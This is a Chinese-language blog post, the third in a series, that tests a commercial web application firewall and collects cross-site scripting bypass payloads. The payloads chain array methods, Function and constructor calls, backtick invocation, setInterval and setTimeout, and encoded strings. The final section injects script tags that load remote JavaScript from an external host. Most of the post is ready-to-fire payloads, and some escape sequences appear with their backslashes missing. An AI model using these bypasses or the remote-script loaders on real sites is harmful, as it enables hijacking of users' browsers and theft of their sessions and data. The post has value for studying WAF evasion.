测试WAF来学习XSS姿势(三)

 

前言

今天又换了款waf,因为waf要IIS环境,我发现我是个手残党,一看就懂,操作就废,搭建个IIS环境没成功。后来有朋友说我买的服务器有重置系统,那里可以选择ASP/.NET环境,今天搭建好了。

1

 

提醒

本文分两部分,前部分是总结新学的姿势,后半部分测试Waf。

 

数组方式

前两篇文章,我们利用js里的对象成员方法也可以用数组的形式的表示,以此构造了许多payload,在数组内将敏感函数拼接,以此来绕过。以top对象为演示的,在Javascrip中,可以连接数组的函数有其他可以补充的。

 

map()函数

map函数可以返回一个数组[1].map,而且我们在使用map函数的时候往往会传入一个函数,如果我们传递一个alert函数,那么将触发xss。

[1].map(alert)

2

类似的数组操作函数不在少数,我所知的就有findeveryfilterforEachfindIndex。它们和map函数都有一个共同的特点,可以返回数组,而且在使用的同时还以可以传入一个函数,这就为我们构造payload提供更多的选择。

我们思考一下,在那些情况下我们可以使用,其实满多,可以先看个demo。

<img src=1 onerror=[1].filter(alert)>

成功弹窗

3

那么如何更进一步呢,我们先思考下面这个例子。

<img src=1 onerror=['ale'%2b'rt'].map(top['ev'%2b'al'])[0]['valu'%2b'eOf']()(/xss/)>

alert函数以数组的方式拼接保存,通过嵌套top对象拆分带入eval函数,valueOf方法将返回值/xss/,成功弹窗。

4

从上面的例子中,我们不难看出,javascript的这类对象方法不在少数,如果我们要寻找其他类似函数,首先满足返回数组,或者字符串,再能够带入我们的函数

 

function函数

在javascript,定义函数的方式有两种:一种是函数声明,另一种就是函数表达式。

这里返回结果为变量名demo,函数表达式也可以叫匿名函数,基本特征是没有函数名,

5

如果我们向匿名函数内添加形参为函数alert,再执行函数,那么可以达到弹窗的效果嘛?

Function('alert(1)')();答案显而易见。

6

然而alert关键字还是太敏感了,可以尝试将形参编码。

Function('alx65x72x74x281x29')();

成功弹窗。

7

拼接也是可以达到同样的效果Function('ale'%2b'rt(1)')();

 

open()属性

open()方法属性打开一个新的浏览器窗口,可在括号内加入参数open(alert(1))

成功弹窗。

8

好玩的是,我们使用伪协议时,将会在新窗口弹出。

<body onpageshow=open('java'%2b'script:ale'%2b'rt(1)') >

9

 

神奇的constructor

还记得前篇文章测试WAF来学习XSS姿势(二)执行代码姿势补充那段嘛,当时我以为自己,已经把constructor的坑填完了,早上起来查资料学习,又发现一个可用知识。

constructor是一个对象的属性,这个属性存在在此对象的prototype中, 指向此对象的构造函数。如果该对象是它自己呢?

constructor.constructor(alert(1))

成功触发xss

10

如果constructor带入的是完整的函数,比如alert,prompt,confirm,那么不需要执行。怎么理解呢?

在这个demo中,我们将函数拼接,注意后面()括号,它是有必要的。

constructor.constructor('al'%2b'ert(1)')()

对于编码来说也是一样的,这里我们使用的是反引号,所以后面要跟着一对反引号。

constructor.constructor`alx65rtx28/xss/x29“`

 

Waf测试

首先,我们先拿来些常用标签看看,是否会被Waf拦截,如果这个标签一出现就拦截,那我们不必在此浪费时间。

Waf拦截了,也很正常,常见一些标签<svg> <img>基本不考虑。

11

找一些略微生僻的,例如<input autofocus onfocus=alert(1)>

12

虽然拦截了,但是当我们把alert去掉后,就不拦截,说明这个标签可用。

13

alert不行,可以考虑的有promptconfirm,还有window.onerror=alert;throw 1这个在这里有些鸡肋不考虑。

成功弹窗。

14

下面给几个类似的,也都能绕过Waf

<details open ontoggle=prompt(1)>
<button onfocus=prompt(1) autofocus>
<select autofocus onfocus=prompt(1)>

 

反引号

存在alert函数,但是Waf并不拦截。

15

但是当我们加上()括号,就拦截了。

16

回去查看Waf拦截记录,可以看出,是触发了某种规则。

17

这个规则有个缺陷,alert函数后面带有()括号就拦截,那么如果我不用括号呢?我们不妨来试试反引号

<details/open/ontoggle="alert`1`">

18

成功绕过,注意这里包括字符串的要用双引号,单引号会拦截。

19

 

利用top

前几篇文章介绍了top属性的知识,不拿来用对不起自己啊,上文使用反引号虽然绕过了waf,但是引入了双引号,如果过滤了双引号,该如何解决呢?

top可以连接一个函数,那么直接连接alert就行了,如果你看过上篇文章,其他的self parent frames content window都可以使用。

<body onpageshow=top.alert`1`>

20

这样就可以摆脱使用双引号,当然如果过滤了. 你可以考虑url编码。

<body onpageshow=top%2ealert`1`>

 

利用map

还记得map嘛?返回一个数组,传入一个函数,我们尝试一下能否绕过。

[1].map(alert)依赖map的特性,可以避免alert函数后面带有()括号,以此触发规则。

21

其他

  <details open ontoggle=[1].find(alert)>
  <details open ontoggle=[1].%65very(alert)>
  <details open ontoggle=[1].u0066orEach(alert)>

 

执行字符串

在上文我说过,常见一些标签<svg>基本不考虑,那么现在你可以考虑了。为什么?听我细细(乱吹)详谈(凑字数)道来。

22

这个妥妥的拦截。

23

通过测试我们发现,alert后面不更()就不会拦截。

24

可是还是拦截了,推测是onload 事件的锅,那么换个事件onmouseover 就不拦截了。

25

问题来了,虽然onmouseover事件可以通过滑动鼠标来触发,如何执行alert呢?如果使用拼接的话,必然带(),比较难绕过。思来想去发现可以尝试用反引号。

26

还是()的锅,不过setInterval不拦截的话,我们可以编码啊。

<svg onmouseover=setInterval`alx65rtx28/xss/x29```>

成功绕过。

27

执行字符串的可用payload

<svg onmouseover=setTimeout`alx65rtx28/xss/x29```>
<svg onmouseover=Set.constructor`alx65rtx28/xss/x29```>
<svg onmouseover=u0063lear.constructor`alx65rtx28/xss/x29```>

 

引用外部js

用些生僻标签就可以,过多的花里胡哨反而难以绕过。

28

<input autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
<keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
<textarea  autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">

 

参考致谢

(完)